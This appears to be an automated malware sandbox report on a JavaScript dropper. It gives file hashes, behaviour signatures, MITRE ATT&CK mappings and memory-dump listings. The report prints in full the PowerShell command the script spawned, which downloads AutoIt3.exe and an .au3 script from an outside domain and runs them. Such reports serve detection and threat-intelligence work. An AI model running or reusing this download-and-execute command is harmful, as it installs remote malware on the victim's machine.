7515593dc715921093ee22ca732848867719e8bf3a42ebeab02ffee0442dbce0

Analysis

max time kernel
118s
max time network
136s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
08-11-2023 00:56

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General

Target

55610dd00539.js
Size

253KB
MD5

aeb8f1c6c921fbdde0e82cc6c16d911a
SHA1

7f04a7b709a9061dfbea8c0006b116e7639b04ca
SHA256

26421886a7d4d780f365d6531d6c945211a5a9d180ea1eda9cafdb8571323d62
SHA512

e1e441c59c482fe04bf4574d4c473d24a9003c2f57aac7464407827efc461a9b1b7ab11c0045e7a0cd54df7c63e8cfa40debc54e300164f558b85790b7938ad8
SSDEEP

6144:ae7hgXeerjqlI2Iro+4e7hgXeerjqlI2Iro+8:aIhgSlI23NIhgSlI23V

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2252 powershell.exe
2252 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2252 powershell.exe

pid	process
2252	powershell.exe
2252	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2252	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 2772 wrote to memory of 2252	2772	wscript.exe	powershell.exe
PID 2772 wrote to memory of 2252	2772	wscript.exe	powershell.exe
PID 2772 wrote to memory of 2252	2772	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\55610dd00539.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://adfincolniclo.com:8443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://adfincolniclo.com:8443/msidevqdcds' -OutFile 'devqdcds.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'devqdcds.au3'"; Stop-Process -Name "WScript"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2252

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2252-4-0x000000001B3E0000-0x000000001B6C2000-memory.dmp

Filesize
2.9MB

Download
memory/2252-6-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2252-5-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2252-8-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2252-7-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2252-9-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2252-10-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2252-11-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2252-12-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2252-13-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2252-15-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2252-14-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2252-16-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2252-17-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download